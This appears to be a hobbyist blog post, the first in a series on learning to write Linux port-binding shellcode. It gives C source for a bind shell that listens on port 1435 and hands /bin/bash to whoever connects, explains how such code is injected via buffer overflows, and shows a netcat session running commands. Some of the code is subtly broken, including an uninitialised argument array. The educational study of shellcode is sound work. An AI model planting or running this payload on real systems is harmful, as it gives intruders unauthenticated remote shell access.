portbinding shellcode
well, not really but i’m getting close. this is part one of a many part series. initially, so damn clueless about it. and aside from the fact that in linux i have to use it’s own interface for socket system calls (socketcall because there are no systemcalls for socket(), accept() and friends) instead of calling socket functions directly, i think that making a portbinding shellcode was a bit more complex than any of my previous attempts at shellcode making. at least at first glance i thought it was. zillion of safemode.org in his article, presented a c code that was tested in freebsd and it really clarified the whole thing to me. i got his algorithm from looking at his source and together with some man pages, i decided to make one too in my box.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <errno.h>
#define SHELLPORT 1435
struct sockaddr_in shelladdr;
void test_errno(int ret);
int main(int argc, char **argv)
{
int err;
int sockfd; /* socket file descriptor */
int shellfd; /* shell file descriptor */
char **shargv;
shargv[0] ="/bin/bash";
/* if (fork() == 0){*/
shelladdr.sin_family = AF_INET;
shelladdr.sin_port = htons(SHELLPORT);
shelladdr.sin_addr.s_addr = INADDR_ANY;
sockfd = socket(PF_INET, SOCK_STREAM, 0);
test_errno(shellfd);
err = bind(sockfd, (struct sockaddr *)&shelladdr, sizeof(struct sockaddr_in));
test_errno(err);
err = listen(sockfd, 1);
test_errno(err);
shellfd = accept(sockfd, NULL, NULL);
test_errno(shellfd);
dup2(shellfd, 0);
dup2(shellfd, 1);
dup2(shellfd, 2);
execve("/bin/bash", shargv, NULL);
/* }*/
return 0;
}
void test_errno(int ret)
{
if (ret == -1) {
fprintf(stderr, "%s\n", strerror(errno));
exit (errno);
}
}
[ walkthrough ]
in a nutshell, i basically have to setup a tcp socket() that bind()s itself to a defined port (1025+), listen()s and accept()s for a connection. when a connection has been made, duplicate the communication file descriptor created as standard input (stdin), standard output (stdout) and standard error (stderr) file descriptors, all defined in /usr/include/unistd.h and then just call execve() normally.
you might have noticed the commented fork() statement above. well, at first i didn’t actually care to use it. but after testing the program i understood it’s purpose. as how i understood it, the program would eventually be translated to assembly shellcode and injected to a some other program who’s buffer has been overflowed. the progr am must fork() a new process, otherwise the calling program (the host program where this will be injected) will stay there waiting because of accept(). in some cases, this is desirable, but for most, i suppose it isn’t. anyway, for my activity, i commented it out. because it makes studying easier.
for you visual people out there, here’s how it went.
on my first terminal, i compiled the source above and ran the program.
steph@heaven ~/git/null/asm/shellcoding/portbind $ gcc -o portbind_c portbind_c.c steph@heaven ~/git/null/asm/shellcoding/portbind $ ./portbind_c -- notice that the program listens()s here now so no prompt --
my second terminal, i used just for verification.
steph@heaven ~ $ netstat -l | grep -i tcp tcp 0 0 *:1435 *:* LISTEN
hey! it’s there! then i initiated a connection using netcat.
steph@heaven ~ $ nc localhost 1435 whoami steph pwd /home/steph/git/null/asm/shellcoding/portbind ls portbind_c portbind_c.c
the bold strings are the commands i issued. at first i thought that it didnt work because i was expecting a prompt. i don’t know why the prompt isn’t shown. this sucks
i’ve also tried manually setting up PS1 but the prompt is still missing. the commands are in bold.
steph@heaven ~ $ nc localhost 1435 export PS1=shell@remote set | grep -i PS1 PS1=shell@remoteother environment variables seemed to work, like setting $TERM so i can use “clear”. anyway, the prompt is not that important. i’m just happy i got a shell . now for the assembly version. i’ll need steph’s power on this one.
p.s.
incase you’re wondering why i chose port 1435, it stands for “i love you steph“. symbolic isn’t it?
until next post.
